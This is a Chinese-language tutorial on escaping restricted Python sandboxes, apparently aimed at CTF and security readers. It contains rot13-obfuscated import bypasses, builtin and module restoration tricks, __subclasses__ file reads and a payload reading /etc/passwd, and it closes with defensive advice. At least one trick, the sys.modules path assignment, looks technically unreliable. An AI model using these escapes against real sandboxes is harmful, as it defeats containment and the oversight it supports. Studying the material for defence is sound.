Python沙箱逃逸的n种姿势
字数 995 2025-08-29 08:31:41
Python沙箱逃逸技术详解
0x00 Python沙箱逃逸概述
Python沙箱逃逸是指在受限的代码执行环境(如OJ平台或使用socat生成的交互式终端)中,绕过各种过滤和限制,最终获取shell权限的过程。主要目标包括:
- 使用os包中的popen、system函数执行shell命令
- 使用commands模块中的方法
- 使用subprocess模块
- 通过写文件到指定位置再配合其他手段
基本shell执行方法示例:
import os
import subprocess
import commands
os.system('ifconfig')
os.popen('ifconfig')
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')
subprocess.call(['ifconfig'], shell=True)
0x01 import相关基础
防御者通常会检测敏感包的导入:
import re
code = open('code.py').read()
pattern = re.compile('import\s+(os|commands|subprocess|sys)')
match = re.search(pattern, code)
if match:
print "forbidden module import detected"
raise Exception
绕过方法:
- 使用
__import__函数
f3ck = __import__("pbzznaqf".decode('rot_13')) # rot13解码后是"commands"
print f3ck.getoutput('ifconfig')
- 使用importlib库
import importlib
f3ck = importlib.import_module("pbzznaqf".decode('rot_13'))
print f3ck.getoutput('ifconfig')
0x02 import进阶
Python内置函数属于__builtin__模块(python3中为builtins)。防御者可能删除危险函数:
del __builtin__.chr
chr(1) # 将抛出NameError
绕过方法:
- 使用reload重新加载
__builtin__
import imp
imp.reload(__builtin__)
0x03 import高级
Python模块查找路径:
sys.path # 查看模块搜索路径
sys.modules # 已加载模块字典
防御者可能删除模块引用:
sys.modules['os'] = None
import os # 将失败
绕过方法:
- 手动恢复模块路径
sys.modules['os'] = '/usr/lib/python2.7/os.py'
import os # 成功
0x04 直接执行模块代码
当无法导入模块时,可直接执行模块文件:
execfile('/usr/lib/python2.7/os.py')
system('cat /etc/passwd') # 成功执行
或使用文件操作+exec:
with open('/usr/lib/python2.7/os.py') as f:
exec(f.read())
system('ifconfig')
0x05 dir与__dict__
查看对象属性和方法:
dir(os) # 列出os模块所有属性和方法
A.__dict__ # 查看类A的所有属性和方法
0x06 绕过字符串过滤
当函数名被过滤时,使用getattr动态获取:
import codecs
getattr(os, codecs.encode("flfgrz", 'rot_13'))('ifconfig') # flfgrz rot13解码为system
字符串处理技巧:
s = "emit"
s = s[::-1] # 反转字符串得到"time"
a[s] # 等价于a['time']
0x07 获取当前模块引用
通过sys.modules获取当前模块:
main_module = sys.modules[__name__]
dir(main_module) # 查看当前模块所有内容
0x08 func_code属性
获取函数字节码信息:
def f3ck(asd):
a = 1
b = "asdasd"
c = ["asd", 1, None, {'1': 2}]
f3ck.func_code # 获取代码对象
dir(f3ck.func_code) # 查看代码对象属性
f3ck.func_code.co_consts # 查看函数常量
使用dis模块反汇编字节码:
import dis
dis.dis(f3ck.func_code.co_code)
0x09 MRO相关操作
通过MRO获取父类和方法:
1..__class__.__mro__ # (float, object)
"".__class__.__mro__ # (str, basestring, object)
文件操作绕过示例:
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
0x10 伪Private属性
Python中的"私有"属性和方法(双下划线开头)实际上可通过特定方式访问:
class A:
__a = 1
b = 2
def __c(self):
print "asd"
def d(self):
print 'dsa'
dir(A) # 显示['_A__a', '_A__c', 'b', 'd']
A._A__c(A()) # 调用"私有"方法
0x11 常见应用场景
-
在线代码运行环境
- 通常过滤较少但环境受限
- 后渗透工作可能较困难
-
Python交互式shell
- 根据业务场景有不同限制
- 通常比完全沙箱环境容易突破
-
SSTI(服务器端模板注入)
- Flask等框架模板解析环境受限
- 突破后可获取较高权限
防御建议
-
多层面防御:
- 禁用危险模块
- 删除危险builtin函数
- 限制模块导入
- 监控执行行为
-
深度防御:
- 使用专用沙箱环境
- 限制系统调用
- 资源配额控制
- 定期审计和更新
-
针对Python沙箱的专门防护:
- 限制反射操作
- 控制属性访问
- 禁用字节码操作
- 监控异常行为模式